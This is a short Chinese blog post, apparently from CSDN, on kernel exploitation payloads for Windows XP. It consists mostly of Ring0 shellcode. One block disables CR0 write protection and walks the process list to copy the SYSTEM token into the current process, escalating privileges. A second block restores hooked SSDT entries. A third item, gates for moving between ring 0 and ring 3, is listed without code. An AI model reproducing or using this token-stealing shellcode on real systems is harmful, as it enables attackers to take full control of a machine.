内核漏洞初步






1.提权到SYSTEM
修改当前进程的token为SYSTEM进程的  token,这样就具备了系统的最高权限,可以控制整个系统。
//Ring0中执行的Shellcode
NTSTATUS Ring0ShellCode(    
ULONG InformationClass,
ULONG BufferSize,
PVOID Buffer,
PULONG ReturnedLength)
{
__asm
{
cli;
mov eax, cr0;
mov g_uCr0,eax; 
and eax,0xFFFEFFFF; 
mov cr0, eax; 
}
//do something
_asm
{
mov eax,0xFFDFF124
mov eax,[eax]                    //获取当前线程PTHREAD
mov esi,[eax+0x220]          //获取当前进程PEPROCESS
mov eax,esi
L:
mov eax,[eax+0x88]        //获取进程链表
sub eax,0x88
mov edx,[eax+0x84]        //获取PID
cmp edx,0x4                    //比较进程ID是否为4即system 这几个偏移量与系统的版本有关,这里是XP
jne L
mov eax,[eax+0xc8]
mov [esi+0xc8],eax
}
_asm
{
sti
mov eax,g_uCr0
mov cr0,eax
}
return 0;
}  

2.恢复内核Hook、Inline Hook

NTSTATUS Ring0ShellCode(    
ULONG InformationClass,
ULONG BufferSize,
PVOID Buffer,
PULONG ReturnedLength)
{
__asm
{
cli;
mov eax, cr0;
mov g_uCr0,eax; 
and eax,0xFFFEFFFF; 
mov cr0, eax; 
}
//do something
ULONG i;
        for(i =0;i<g_ServiceNum;i++)
        {
                *(ULONG*)(*(ULONG*)g_RealSSDT+i*sizeof(ULONG)) = g_OrgService[i];
        }
_asm
{
sti
mov eax,g_uCr0
mov cr0,eax
}
return 0;

3.添加调用门、中断门,任务门,陷进门 
出入R0/R3的重要手段。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值